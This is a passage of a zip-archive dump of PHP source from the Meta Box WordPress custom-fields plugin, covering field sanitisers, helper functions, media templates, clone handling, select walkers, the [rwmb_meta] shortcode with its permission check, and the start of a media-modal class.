		$value['position']   = in_array( $value['position'], [ 'top left', 'top center', 'top right', 'center left', 'center center', 'center right', 'bottom left', 'bottom center', 'bottom right' ], true ) ? $value['position'] : '';
		$value['attachment'] = in_array( $value['attachment'], [ 'fixed', 'scroll', 'inherit' ], true ) ? $value['attachment'] : '';
		$value['size']       = in_array( $value['size'], [ 'inherit', 'cover', 'contain' ], true ) ? $value['size'] : '';

		return $value;
	}

	/**
	 * Sanitize text field.
	 *
	 * @param  string|array $value The submitted value.
	 * @return string|array
	 */
	private function sanitize_text( $value ) {
		return is_array( $value ) ? array_map( __METHOD__, $value ) : sanitize_text_field( $value );
	}

	/**
	 * Sanitize file, image field.
	 *
	 * @param  array $value The submitted value.
	 * @param  array $field The field settings.
	 * @return array
	 */
	private function sanitize_file( $value, $field ) {
		return $field['upload_dir'] ? array_map( 'esc_url_raw', $value ) : $this->sanitize_object( $value );
	}

	/**
	 * Sanitize slider field.
	 *
	 * @param  mixed $value The submitted value.
	 * @param  array $field The field settings.
	 * @return string|int|float
	 */
	private function sanitize_slider( $value, $field ) {
		return true === $field['js_options']['range'] ? sanitize_text_field( $value ) : $this->sanitize_number( $value );
	}

	/**
	 * Sanitize datetime field.
	 *
	 * @param  mixed $value The submitted value.
	 * @param  array $field The field settings.
	 * @return float|string
	 */
	private function sanitize_datetime( $value, $field ) {
		return $field['timestamp'] ? (float) $value : sanitize_text_field( $value );
	}

	private function sanitize_map( $value ): string {
		$value                               = sanitize_text_field( $value );
		list( $latitude, $longitude, $zoom ) = explode( ',', $value . ',,' );

		$latitude  = (float) $latitude;
		$longitude = (float) $longitude;
		$zoom      = (int) $zoom;

		return "$latitude,$longitude,$zoom";
	}

	private function sanitize_taxonomy_advanced( $value ): string {
		return implode( ',', wp_parse_id_list( $value ) );
	}

	private function sanitize_url( string $value ): string {
		return esc_url_raw( $value );
	}
}
PK     0w\Yp%  %  (  dashboard/lib/meta-box/inc/functions.phpnu [        <?php
/**
 * Plugin public functions.
 */

if ( ! function_exists( 'rwmb_meta' ) ) {
	/**
	 * Get post meta.
	 *
	 * @param string   $key     Meta key. Required.
	 * @param array    $args    Array of arguments. Optional.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return mixed
	 */
	function rwmb_meta( $key, $args = [], $post_id = null ) {
		$args  = wp_parse_args( $args );
		$field = rwmb_get_field_settings( $key, $args, $post_id );

		/*
		 * If field is not found, which can caused by registering meta boxes for the backend only or conditional registration.
		 * Then fallback to the old method to retrieve meta (which uses get_post_meta() as the latest fallback).
		 */
		if ( false === $field ) {
			return apply_filters( 'rwmb_meta', rwmb_meta_legacy( $key, $args, $post_id ) );
		}
		$meta = in_array( $field['type'], [ 'oembed', 'map', 'osm' ], true ) ?
			rwmb_the_value( $key, $args, $post_id, false ) :
			rwmb_get_value( $key, $args, $post_id );
		return apply_filters( 'rwmb_meta', $meta, $key, $args, $post_id );
	}
}

if ( ! function_exists( 'rwmb_set_meta' ) ) {
	/**
	 * Set meta value.
	 *
	 * @param int    $object_id Object ID. Required.
	 * @param string $key       Meta key. Required.
	 * @param mixed  $value     Meta value. Required.
	 * @param array  $args      Array of arguments. Optional.
	 */
	function rwmb_set_meta( $object_id, $key, $value, $args = [] ) {
		$args  = wp_parse_args( $args );
		$field = rwmb_get_field_settings( $key, $args, $object_id );

		if ( false === $field ) {
			return;
		}

		$old = RWMB_Field::call( $field, 'raw_meta', $object_id );
		$new = RWMB_Field::process_value( $value, $object_id, $field );

		RWMB_Field::call( $field, 'save', $new, $old, $object_id );

		// For MB Custom Table to flush data from the cache to the database.
		do_action( 'rwmb_flush_data', $object_id, $field, $args );
	}
}

if ( ! function_exists( 'rwmb_get_field_settings' ) ) {
	/**
	 * Get field settings.
	 *
	 * @param string   $key       Meta key. Required.
	 * @param array    $args      Array of arguments. Optional.
	 * @param int|null $object_id Object ID. null for current post. Optional.
	 *
	 * @return array
	 */
	function rwmb_get_field_settings( $key, $args = [], $object_id = null ) {
		$args = wp_parse_args( $args, [
			'object_type' => 'post',
			'type'        => '',
		] );

		/**
		 * Filter meta type from object type and object id.
		 *
		 * @var string       Meta type, default is post type name.
		 * @var string       Object type.
		 * @var ?string|?int Object id.
		 */
		$type = apply_filters( 'rwmb_meta_type', $args['type'], $args['object_type'], $object_id );
		if ( ! $type ) {
			$type = get_post_type( $object_id );
		}

		return rwmb_get_registry( 'field' )->get( $key, $type, $args['object_type'] );
	}
}

if ( ! function_exists( 'rwmb_meta_legacy' ) ) {
	/**
	 * Get post meta.
	 *
	 * @param string   $key     Meta key. Required.
	 * @param array    $args    Array of arguments. Optional.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return mixed
	 */
	function rwmb_meta_legacy( $key, $args = [], $post_id = null ) {
		$args  = wp_parse_args( $args, [
			'type'     => 'text',
			'multiple' => false,
			'clone'    => false,
		] );
		$field = [
			'id'       => $key,
			'type'     => $args['type'],
			'clone'    => $args['clone'],
			'multiple' => $args['multiple'],
		];

		$method = 'get_value';
		switch ( $args['type'] ) {
			case 'taxonomy':
			case 'taxonomy_advanced':
				$field['taxonomy'] = $args['taxonomy'];
				break;
			case 'map':
			case 'osm':
			case 'oembed':
				$method = 'the_value';
				break;
		}
		$field = RWMB_Field::call( 'normalize', $field );

		return RWMB_Field::call( $method, $field, $args, $post_id );
	}
}

if ( ! function_exists( 'rwmb_get_value' ) ) {
	/**
	 * Get value of custom field.
	 * This is used to replace old version of rwmb_meta key.
	 *
	 * @param  string   $field_id Field ID. Required.
	 * @param  array    $args     Additional arguments. Rarely used. See specific fields for details.
	 * @param  int|null $post_id  Post ID. null for current post. Optional.
	 *
	 * @return mixed false if field doesn't exist. Field value otherwise.
	 */
	function rwmb_get_value( $field_id, $args = [], $post_id = null ) {
		$args  = wp_parse_args( $args );
		$field = rwmb_get_field_settings( $field_id, $args, $post_id );

		// Get field value.
		$value = $field ? RWMB_Field::call( 'get_value', $field, $args, $post_id ) : false;

		/*
		 * Allow developers to change the returned value of field.
		 * For version < 4.8.2, the filter name was 'rwmb_get_field'.
		 *
		 * @param mixed    $value   Field value.
		 * @param array    $field   Field parameters.
		 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
		 * @param int|null $post_id Post ID. null for current post. Optional.
		 */
		$value = apply_filters( 'rwmb_get_value', $value, $field, $args, $post_id );

		return $value;
	}
}

if ( ! function_exists( 'rwmb_the_value' ) ) {
	/**
	 * Display the value of a field
	 *
	 * @param  string   $field_id Field ID. Required.
	 * @param  array    $args     Additional arguments. Rarely used. See specific fields for details.
	 * @param  int|null $post_id  Post ID. null for current post. Optional.
	 * @param  bool     $echo     Display field meta value? Default `true` which works in almost all cases. We use `false` for  the [rwmb_meta] shortcode.
	 *
	 * @return string
	 */
	function rwmb_the_value( $field_id, $args = [], $post_id = null, $echo = true ) {
		$args  = wp_parse_args( $args );
		$field = rwmb_get_field_settings( $field_id, $args, $post_id );

		if ( ! $field ) {
			return '';
		}

		$output = RWMB_Field::call( 'the_value', $field, $args, $post_id );

		/*
		 * Allow developers to change the returned value of field.
		 * For version < 4.8.2, the filter name was 'rwmb_get_field'.
		 *
		 * @param mixed    $value   Field HTML output.
		 * @param array    $field   Field parameters.
		 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
		 * @param int|null $post_id Post ID. null for current post. Optional.
		 */
		$output = apply_filters( 'rwmb_the_value', $output, $field, $args, $post_id );

		if ( $echo ) {
			echo $output; // phpcs:ignore WordPress.Security.EscapeOutput
		}

		return $output;
	}
}

if ( ! function_exists( 'rwmb_get_object_fields' ) ) {
	/**
	 * Get defined meta fields for object.
	 *
	 * @param int|string $type_or_id  Object ID or post type / taxonomy (for terms) / user (for users).
	 * @param string     $object_type Object type. Use post, term.
	 *
	 * @return array
	 */
	function rwmb_get_object_fields( $type_or_id, $object_type = 'post' ) {
		$meta_boxes = rwmb_get_registry( 'meta_box' )->get_by( [ 'object_type' => $object_type ] );
		array_walk( $meta_boxes, 'rwmb_check_meta_box_supports', [ $object_type, $type_or_id ] );
		$meta_boxes = array_filter( $meta_boxes );

		$fields = [];
		foreach ( $meta_boxes as $meta_box ) {
			foreach ( $meta_box->fields as $field ) {
				$fields[ $field['id'] ] = $field;
			}
		}

		return $fields;
	}
}

if ( ! function_exists( 'rwmb_check_meta_box_supports' ) ) {
	/**
	 * Check if a meta box supports an object.
	 *
	 * @param  object $meta_box    Meta Box object.
	 * @param  int    $key         Not used.
	 * @param  array  $object_data Object data (type and ID).
	 */
	function rwmb_check_meta_box_supports( &$meta_box, $key, $object_data ) {
		list( $object_type, $type_or_id ) = $object_data;

		$type = null;
		$prop = null;
		switch ( $object_type ) {
			case 'post':
				$type = is_numeric( $type_or_id ) ? get_post_type( $type_or_id ) : $type_or_id;
				$prop = 'post_types';
				break;
			case 'term':
				$type = $type_or_id;
				if ( is_numeric( $type_or_id ) ) {
					$term = get_term( $type_or_id );
					$type = is_wp_error( $term ) || ! $term ? null : $term->taxonomy;
				}
				$prop = 'taxonomies';
				break;
			case 'user':
				$type = 'user';
				$prop = 'user';
				break;
			case 'setting':
				$type = $type_or_id;
				$prop = 'settings_pages';
				break;
		}
		if ( ! $type ) {
			$meta_box = false;
			return;
		}
		if ( isset( $meta_box->meta_box[ $prop ] ) && ! in_array( $type, $meta_box->meta_box[ $prop ], true ) ) {
			$meta_box = false;
		}
	}
}

if ( ! function_exists( 'rwmb_get_registry' ) ) {
	/**
	 * Get the registry by type.
	 * Always return the same instance of the registry.
	 *
	 * @param string $type Registry type.
	 *
	 * @return object
	 */
	function rwmb_get_registry( $type ) {
		static $data = [];

		$class = 'RWMB_' . RWMB_Helpers_String::title_case( $type ) . '_Registry';
		if ( ! isset( $data[ $type ] ) ) {
			$data[ $type ] = new $class();
		}

		return $data[ $type ];
	}
}

if ( ! function_exists( 'rwmb_get_storage' ) ) {
	/**
	 * Get storage instance.
	 *
	 * @param string      $object_type Object type. Use post or term.
	 * @param RW_Meta_Box $meta_box    Meta box object. Optional.
	 * @return RWMB_Storage_Interface
	 */
	function rwmb_get_storage( $object_type, $meta_box = null ) {
		$class   = 'RWMB_' . RWMB_Helpers_String::title_case( $object_type ) . '_Storage';
		$class   = class_exists( $class ) ? $class : 'RWMB_Post_Storage';
		$storage = rwmb_get_registry( 'storage' )->get( $class );

		return apply_filters( 'rwmb_get_storage', $storage, $object_type, $meta_box );
	}
}

if ( ! function_exists( 'rwmb_request' ) ) {
	/**
	 * Get request object.
	 *
	 * @return RWMB_Request
	 */
	function rwmb_request() {
		static $request;
		if ( ! $request ) {
			$request = new RWMB_Request();
		}
		return $request;
	}
}
PK     0w\    .  dashboard/lib/meta-box/inc/templates/audio.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<script id="tmpl-rwmb-media-item" type="text/html">
	<input type="hidden" name="{{{ data.controller.fieldName }}}" value="{{{ data.id }}}" class="rwmb-media-input">
	<div class="rwmb-media-preview">
		<div class="rwmb-media-content">
			<div class="centered">
				<# if ( 'image' === data.type && data.sizes ) { #>
					<# if ( data.sizes.thumbnail ) { #>
						<img src="{{{ data.sizes.thumbnail.url }}}">
					<# } else { #>
						<img src="{{{ data.sizes.full.url }}}">
					<# } #>
				<# } else { #>
					<# if ( data.image && data.image.src && data.image.src !== data.icon ) { #>
						<img src="{{ data.image.src }}" />
					<# } else { #>
						<img src="{{ data.icon }}" />
					<# } #>
				<# } #>
			</div>
		</div>
	</div>
	<div class="rwmb-media-info">
		<h4>
			<a href="{{{ data.url }}}" target="_blank" title="{{{ i18nRwmbMedia.view }}}">
				<# if( data.title ) { #> {{{ data.title }}}
					<# } else { #> {{{ i18nRwmbMedia.noTitle }}}
				<# } #>
			</a>
		</h4>
		<p>{{{ data.mime }}}</p>
		<p>
			<a class="rwmb-edit-media" title="{{{ i18nRwmbMedia.edit }}}" href="{{{ data.editLink }}}" target="_blank">
				<span class="dashicons dashicons-edit"></span>{{{ i18nRwmbMedia.edit }}}
			</a>
			<a href="#" class="rwmb-remove-media" title="{{{ i18nRwmbMedia.remove }}}">
				<span class="dashicons dashicons-no-alt"></span>{{{ i18nRwmbMedia.remove }}}
			</a>
		</p>
	</div>
</script>
PK     0w\ͱ'  '  .  dashboard/lib/meta-box/inc/templates/media.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<script id="tmpl-rwmb-media-item" type="text/html">
	<input type="hidden" name="{{{ data.controller.fieldName }}}" value="{{{ data.id }}}" class="rwmb-media-input">
	<div class="rwmb-file-icon">
		<# if ( data.sizes ) { #>
			<# if ( data.sizes.thumbnail ) { #>
				<img src="{{{ data.sizes.thumbnail.url }}}">
			<# } else { #>
				<img src="{{{ data.sizes.full.url }}}">
			<# } #>
		<# } else { #>
			<# if ( data.image && data.image.src && data.image.src !== data.icon ) { #>
				<img src="{{ data.image.src }}" />
			<# } else { #>
				<img src="{{ data.icon }}" />
			<# } #>
		<# } #>
	</div>
	<div class="rwmb-file-info">
		<a href="{{{ data.url }}}" class="rwmb-file-title" target="_blank">
			<# if( data.title ) { #>
				{{{ data.title }}}
			<# } else { #>
				{{{ i18nRwmbMedia.noTitle }}}
			<# } #>
		</a>
		<div class="rwmb-file-name">{{{ data.filename }}}</div>
		<div class="rwmb-file-actions">
			<a class="rwmb-edit-media" title="{{{ i18nRwmbMedia.edit }}}" href="{{{ data.editLink }}}" target="_blank">
				{{{ i18nRwmbMedia.edit }}}
			</a>
			<# if( data.file ) { #>
			<a href="#" class="rwmb-remove-media" data-file_id="{{{ data.file.id }}}" title="{{{ i18nRwmbMedia.remove }}}">
				{{{ i18nRwmbMedia.remove }}}
			</a>
			<# } else { #>
			<a href="#" class="rwmb-remove-media" title="{{{ i18nRwmbMedia.remove }}}">
				{{{ i18nRwmbMedia.remove }}}
			</a>
			<# } #>
		</div>
	</div>
</script>

<script id="tmpl-rwmb-media-status" type="text/html">
	<# if ( data.maxFiles > 0 ) { #>
		{{{ data.length }}}/{{{ data.maxFiles }}}
		<# if ( 1 < data.maxFiles ) { #>{{{ i18nRwmbMedia.multiple }}}<# } else {#>{{{ i18nRwmbMedia.single }}}<# } #>
	<# } #>
</script>

<script id="tmpl-rwmb-media-button" type="text/html">
	<a class="button">{{{ data.text }}}</a>
</script>
PK     0w\㒜     .  dashboard/lib/meta-box/inc/templates/video.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<script id="tmpl-rwmb-video-item" type="text/html">
	<input type="hidden" name="{{{ data.controller.fieldName }}}" value="{{{ data.id }}}" class="rwmb-media-input">
	<# if( _.indexOf( i18nRwmbVideo.extensions, data.url.substr( data.url.lastIndexOf('.') + 1 ) ) > -1 ) { #>
		<video controls="controls" class="rwmb-video-element" preload="metadata"
			<# if ( data.width ) { #>width="{{ data.width }}"<# } #>
			<# if ( data.height ) { #>height="{{ data.height }}"<# } #>
			<# if ( data.image && data.image.src !== data.icon ) { #>poster="{{ data.image.src }}"<# } #>>
			<source type="{{ data.mime }}" src="{{ data.url }}"/>
		</video>
	<# } else { #>
		<# if ( data.image && data.image.src && data.image.src !== data.icon ) { #>
			<img src="{{ data.image.src }}" />
		<# } else { #>
			<img src="{{ data.icon }}" />
		<# } #>
	<# } #>
	<div class="rwmb-media-info">
		<a href="{{{ data.url }}}" class="rwmb-file-title" target="_blank">
			<# if( data.title ) { #>
				{{{ data.title }}}
			<# } else { #>
				{{{ i18nRwmbMedia.noTitle }}}
			<# } #>
		</a>
		<div class="rwmb-file-name">{{{ data.filename }}}</div>
		<div class="rwmb-media-actions">
			<a class="rwmb-edit-media" title="{{{ i18nRwmbMedia.edit }}}" href="{{{ data.editLink }}}" target="_blank">
				{{{ i18nRwmbMedia.edit }}}
			</a>
			<a href="#" class="rwmb-remove-media" title="{{{ i18nRwmbMedia.remove }}}">
				{{{ i18nRwmbMedia.remove }}}
			</a>
		</div>
	</div>
</script>
PK     0w\K"    /  dashboard/lib/meta-box/inc/templates/upload.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<script id="tmpl-rwmb-upload-area" type="text/html">
	<div class="rwmb-upload-inside">
		<h3>{{{ i18nRwmbMedia.uploadInstructions }}}</h3>
		<p>{{{ i18nRwmbMedia.or }}}</p>
		<button type="button" class="rwmb-browse-button browser button button-hero" id="{{{ _.uniqueId( 'rwmb-upload-browser-') }}}">{{{ i18nRwmbMedia.select }}}</button>
	</div>
</script>
PK     0w\h8BMg  g  7  dashboard/lib/meta-box/inc/templates/image-advanced.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<script id="tmpl-rwmb-image-item" type="text/html">
	<input type="hidden" name="{{{ data.controller.fieldName }}}" value="{{{ data.id }}}" class="rwmb-media-input">
	<div class="rwmb-file-icon">
		<# if ( 'image' === data.type && data.sizes ) { #>
			<# if ( data.sizes[data.controller.imageSize] ) { #>
				<img src="{{{ data.sizes[data.controller.imageSize].url }}}">
			<# } else { #>
				<img src="{{{ data.sizes.full.url }}}">
			<# } #>
		<# } else { #>
			<# if ( data.image && data.image.src && data.image.src !== data.icon ) { #>
				<img src="{{ data.image.src }}" />
			<# } else { #>
				<img src="{{ data.icon }}" />
			<# } #>
		<# } #>
	</div>
	<div class="rwmb-image-overlay"></div>
	<div class="rwmb-image-actions">
		<a class="rwmb-image-edit rwmb-edit-media" title="{{{ i18nRwmbMedia.edit }}}" href="{{{ data.editLink }}}" target="_blank">
			<span class="dashicons dashicons-edit"></span>
		</a>
		<a href="#" class="rwmb-image-delete rwmb-remove-media" title="{{{ i18nRwmbMedia.remove }}}">
			<span class="dashicons dashicons-no-alt"></span>
		</a>
	</div>
</script>
PK     0w\kO*    $  dashboard/lib/meta-box/inc/clone.phpnu [        <?php
/**
 * The clone module, allowing users to clone (duplicate) fields.
 */
class RWMB_Clone {
	public static function html( array $meta, array $field ) : string {
		$field_html = '';

		foreach ( $meta as $index => $sub_meta ) {
			$sub_field               = $field;
			$sub_field['field_name'] = $field['field_name'] . "[{$index}]";
			if ( $index > 0 ) {
				if ( isset( $sub_field['address_field'] ) ) {
					$sub_field['address_field'] = $field['address_field'] . "_{$index}";
				}
				$sub_field['id'] = $field['id'] . "_{$index}";

				if ( ! empty( $sub_field['attributes']['id'] ) ) {
					$sub_field['attributes']['id'] = $sub_field['attributes']['id'] . "_{$index}";
				}
			}

			if ( in_array( $sub_field['type'], [ 'file', 'image' ], true ) ) {
				$sub_field['input_name']  = '_file_' . uniqid();
				$sub_field['index_name'] .= "[{$index}]";
			} elseif ( $field['multiple'] ) {
				$sub_field['field_name'] .= '[]';
			}

			// Wrap field HTML in a div with class="rwmb-clone" if needed.
			$class     = "rwmb-clone rwmb-{$field['type']}-clone";
			$sort_icon = '';
			if ( $field['sort_clone'] ) {
				$class    .= ' rwmb-sort-clone';
				$sort_icon = "<a href='javascript:;' class='rwmb-clone-icon'></a>";
			}
			$input_html = "<div class='$class'>" . $sort_icon;

			// Call separated methods for displaying each type of field.
			$input_html .= RWMB_Field::call( $sub_field, 'html', $sub_meta );
			$input_html  = RWMB_Field::filter( 'html', $input_html, $sub_field, $sub_meta );

			// Remove clone button.
			$input_html .= self::remove_clone_button( $sub_field );
			$input_html .= '</div>';

			$field_html .= $input_html;
		}

		return $field_html;
	}

	/**
	 * Set value of meta before saving into database
	 *
	 * @param mixed $new       The submitted meta value.
	 * @param mixed $old       The existing meta value.
	 * @param int   $object_id The object ID.
	 * @param array $field     The field parameters.
	 *
	 * @return mixed
	 */
	public static function value( $new, $old, $object_id, array $field ) {
		if ( ! is_array( $new ) ) {
			$new = [];
		}

		if ( in_array( $field['type'], [ 'file', 'image' ], true ) ) {
			$new = RWMB_File_Field::clone_value( $new, $old, $object_id, $field );
		} else {
			foreach ( $new as $key => $value ) {
				$old_value   = $old[ $key ] ?? null;
				$value       = RWMB_Field::call( $field, 'value', $value, $old_value, $object_id );
				$new[ $key ] = RWMB_Field::filter( 'sanitize', $value, $field, $old_value, $object_id );
			}
		}

		// Remove empty clones.
		$new = array_filter( $new, 'RWMB_Helpers_Value::is_valid_for_field' );

		// Reset indexes.
		$new = array_values( $new );

		return $new;
	}

	public static function add_clone_button( array $field ) : string {
		if ( ! $field['clone'] ) {
			return '';
		}
		$text = RWMB_Field::filter( 'add_clone_button_text', $field['add_button'], $field );
		return '<a href="#" class="rwmb-button button-primary add-clone">' . esc_html( $text ) . '</a>';
	}

	public static function remove_clone_button( array $field ) : string {
		$text = RWMB_Field::filter( 'remove_clone_button_text', '<span class="dashicons dashicons-dismiss"></span>', $field );
		return '<a href="#" class="rwmb-button remove-clone">' . $text . '</a>';
	}
}
PK     0w\    -  dashboard/lib/meta-box/inc/walkers/select.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Select walker select fields.
 */
class RWMB_Walker_Select extends RWMB_Walker_Base {
	/**
	 * Start the element output.
	 *
	 * @see Walker::start_el()
	 *
	 * @param string $output            Passed by reference. Used to append additional content.
	 * @param object $object            The data object.
	 * @param int    $depth             Depth of the item.
	 * @param array  $args              An array of additional arguments.
	 * @param int    $current_object_id ID of the current item.
	 */
	public function start_el( &$output, $object, $depth = 0, $args = [], $current_object_id = 0 ) {
		$indent = str_repeat( '&nbsp;', $depth * 4 );

		$output .= sprintf(
			'<option value="%s" %s>%s%s</option>',
			esc_attr( $object->value ),
			selected( in_array( $object->value, $this->meta ), true, false ),
			$indent,
			esc_html( $object->label )
		);
	}
}
PK     0w\Nm  m  1  dashboard/lib/meta-box/inc/walkers/input-list.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The input list walker for checkbox and radio list fields.
 */
class RWMB_Walker_Input_List extends RWMB_Walker_Base {
	/**
	 * Starts the list before the elements are added.
	 *
	 * @param string $output Passed by reference. Used to append additional content.
	 * @param int    $depth  Depth of the item.
	 * @param array  $args   An array of additional arguments.
	 */
	public function start_lvl( &$output, $depth = 0, $args = [] ) {
		$output .= '<fieldset class="rwmb-input-list">';
	}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * @param string $output Passed by reference. Used to append additional content.
	 * @param int    $depth  Depth of the item.
	 * @param array  $args   An array of additional arguments.
	 */
	public function end_lvl( &$output, $depth = 0, $args = [] ) {
		$output .= '</fieldset>';
	}

	/**
	 * Start the element output.
	 *
	 * @param string $output            Passed by reference. Used to append additional content.
	 * @param object $object            The data object.
	 * @param int    $depth             Depth of the item.
	 * @param array  $args              An array of additional arguments.
	 * @param int    $current_object_id ID of the current item.
	 */
	public function start_el( &$output, $object, $depth = 0, $args = [], $current_object_id = 0 ) {
		$attributes = RWMB_Field::call( 'get_attributes', $this->field, $object->value );

		$output .= sprintf(
			'<label><input %s %s>%s</label>',
			RWMB_Field::render_attributes( $attributes ),
			checked( in_array( $object->value, $this->meta ), true, false ),
			$object->label
		);
	}
}
PK     0w\R    2  dashboard/lib/meta-box/inc/walkers/select-tree.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Select tree walker for cascading select fields.
 */
class RWMB_Walker_Select_Tree {
	/**
	 * Field settings.
	 *
	 * @var array
	 */
	public $field;

	/**
	 * Field meta value.
	 *
	 * @var array
	 */
	public $meta;

	/**
	 * Constructor.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $meta  Meta value.
	 */
	public function __construct( $field, $meta ) {
		$this->field = $field;
		$this->meta  = (array) $meta;
	}

	/**
	 * Display array of elements hierarchically.
	 *
	 * @param array $options An array of options.
	 *
	 * @return string
	 */
	public function walk( $options ) {
		$children = [];

		foreach ( $options as $option ) {
			$parent                = $option->parent ?? 0;
			$children[ $parent ][] = $option;
		}

		$top_level = isset( $children[0] ) ? 0 : $options[0]->parent;
		return $this->display_level( $children, $top_level, true );
	}

	/**
	 * Display a hierarchy level.
	 *
	 * @param array $options   An array of options.
	 * @param int   $parent_id Parent item ID.
	 * @param bool  $active    Whether to show or hide.
	 *
	 * @return string
	 */
	public function display_level( $options, $parent_id = 0, $active = false ) {
		$field      = $this->field;
		$walker     = new RWMB_Walker_Select( $field, $this->meta );
		$attributes = RWMB_Field::call( 'get_attributes', $field, $this->meta );

		$children = $options[ $parent_id ];
		$output   = sprintf(
			'<div class="rwmb-select-tree %s" data-parent-id="%s"><select %s>',
			$active ? '' : 'hidden',
			esc_attr( $parent_id ),
			RWMB_Field::render_attributes( $attributes )
		);
		$output  .= $field['placeholder'] ? "<option value=''>{$field['placeholder']}</option>" : '<option></option>';
		$output  .= $walker->walk( $children, - 1 );
		$output  .= '</select>';

		foreach ( $children as $child ) {
			if ( isset( $options[ $child->value ] ) ) {
				$output .= $this->display_level( $options, $child->value, in_array( $child->value, $this->meta ) && $active );
			}
		}

		$output .= '</div>';
		return $output;
	}
}
PK     0w\Ew<a  a  +  dashboard/lib/meta-box/inc/walkers/base.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Base walker.
 * Walkers must inherit this class and overwrite methods with its own.
 */
abstract class RWMB_Walker_Base extends Walker {
	/**
	 * Field settings.
	 *
	 * @var array
	 */
	public $field;

	/**
	 * Field meta data.
	 *
	 * @var array
	 */
	public $meta;

	/**
	 * Constructor.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $meta  Meta value.
	 */
	public function __construct( $field, $meta ) {
		$this->db_fields = [
			'id'     => 'value',
			'parent' => 'parent',
		];

		$this->field = $field;
		$this->meta  = (array) $meta;
	}
}
PK     0w\}/
  /
  (  dashboard/lib/meta-box/inc/shortcode.phpnu [        <?php
use MetaBox\Support\Arr;

class RWMB_Shortcode {
	public function init() {
		add_shortcode( 'rwmb_meta', [ $this, 'register_shortcode' ] );
	}

	public function register_shortcode( $atts ) {
		$atts = wp_parse_args( $atts, [
			'id'                => '',
			'object_id'         => null,
			'attribute'         => '',
			'render_shortcodes' => 'true',
		] );
		Arr::change_key( $atts, 'post_id', 'object_id' );
		Arr::change_key( $atts, 'meta_key', 'id' );

		if ( empty( $atts['id'] ) ) {
			return '';
		}

		$field_id  = $atts['id'];
		$object_id = $atts['object_id'];
		
		unset( $atts['id'], $atts['object_id'] );

		$value = $this->get_value( $field_id, $object_id, $atts );
		$value = 'true' === $atts['render_shortcodes'] ? do_shortcode( $value ) : $value;

		$secure = apply_filters( 'rwmb_meta_shortcode_secure', true, $field_id, $atts, $object_id );
		$secure = apply_filters( "rwmb_meta_shortcode_secure_{$field_id}", $secure, $atts, $object_id );

		if ( $secure ) {
			$value = wp_kses_post( $value );
		}

		return $value;
	}

	private function get_value( $field_id, $object_id, $atts ) {
		// If we pass object_id via shortcode, we need to make sure current user 
		// has permission to view the object
		if ( ! is_null ( $object_id ) ) {
			$has_object_permission = $this->check_object_permission( $object_id, $atts );
			
			if ( ! $has_object_permission ) {
				return null;
			}
		}

		$attribute = $atts['attribute'];
		if ( ! $attribute ) {
			return rwmb_the_value( $field_id, $atts, $object_id, false );
		}

		$value = rwmb_get_value( $field_id, $atts, $object_id );

		if ( ! is_array( $value ) && ! is_object( $value ) ) {
			return $value;
		}

		if ( is_object( $value ) ) {
			return $value->$attribute;
		}

		if ( isset( $value[ $attribute ] ) ) {
			return $value[ $attribute ];
		}

		$value = wp_list_pluck( $value, $attribute );
		$value = implode( ',', array_filter( $value ) );

		return $value;
	}

	private function check_object_permission( $object_id, $atts ) {
		// Skip checking if object_type is not post
		if ( isset( $atts['object_type'] ) && $atts['object_type'] !== 'post' ) {
			return true;
		}

		$post = get_post( $object_id );
		if ( ! $post ) {
			return false;
		}

		// Skip checking if post status is publish AND no password is set
		if ( 'publish' === $post->post_status && ! post_password_required( $post ) ) {
			return true;
		}

		$object_type = get_post_type_object( $post->post_type );
		if ( ! $object_type ) {
			return false;
		}

		$read_post = $object_type->cap->read_post;

		return current_user_can( $read_post, $object_id );
	}
}
PK     0w\L}$X  X  *  dashboard/lib/meta-box/inc/media-modal.phpnu [        <?php
/**
 * Add support for editing attachment custom fields in the media modal.
 */
class RWMB_Media_Modal {
	/**
	 * List of custom fields.
	 *
	 * @var array
	 */
	protected $fields = [];

	public function init() {
		// Meta boxes are registered at priority 20, so we use 30 to capture them all.
		add_action( 'init', [ $this, 'get_fields' ], 30 );

		add_filter( 'attachment_fields_to_edit', [ $this, 'add_fields' ], 11, 2 );
		add_filter( 'attachment_fields_to_save', [ $this, 'save_fields' ], 11, 2 );
	}

	public function get_fields() {
		$meta_boxes = rwmb_get_registry( 'meta_box' )->all();
		foreach ( $meta_boxes as $meta_box ) {
			if ( $this->is_in_modal( $meta_box->meta_box ) ) {
				$this->fields = array_merge( $this->fields, array_values( $meta_box->fields ) );
			}
		}
	}

	/**
	 * Add fields to the attachment edit popup.
	 *
	 * @param array   $form_fields An array of attachment form fields.
	 * @param WP_Post $post The WP_Post attachment object.
	 *
	 * @return mixed
	 */
	public function add_fields( $form_fields, $post ) {
		if ( empty( $post ) || $this->is_attachment_edit_screen() ) {
			return $form_fields;
		}

		foreach ( $this->fields as $field ) {
			$form_field          = $field;
			$form_field['label'] = $field['name'];
			$form_field['input'] = 'html';

			// Just ignore the field 'std' because there's no way to check it.
			$meta                = RWMB_Field::call( $field, 'meta', $post->ID, true );
			$form_field['value'] = $meta;

			$field['field_name'] = 'attachments[' . $post->ID . '][' . $field['field_name'] . ']';

			ob_start();
			$field['name'] = ''; // Don't show field label as it's already handled by WordPress.

			RWMB_Field::call( 'show', $field, true, $post->ID );

			// For MB Custom Table to flush data from the cache to the database.
			do_action( 'rwmb_flush_data', $post->ID, $field, [] );

			$form_field['html'] = ob_get_clean();

			$form_fields[ $field['id'] ] = $form_field;
		}

		return $form_fields;
	}

	/**
	 * Save custom fields.
	 *
	 * @param array $post An array of post data.
	 * @param array $attachment An array of attachment metadata.
	 *
	 * @return array
	 */
	public function save_fields( $post, $attachment ) {
		foreach ( $this->fields as $field ) {
			$key = $field['id'];

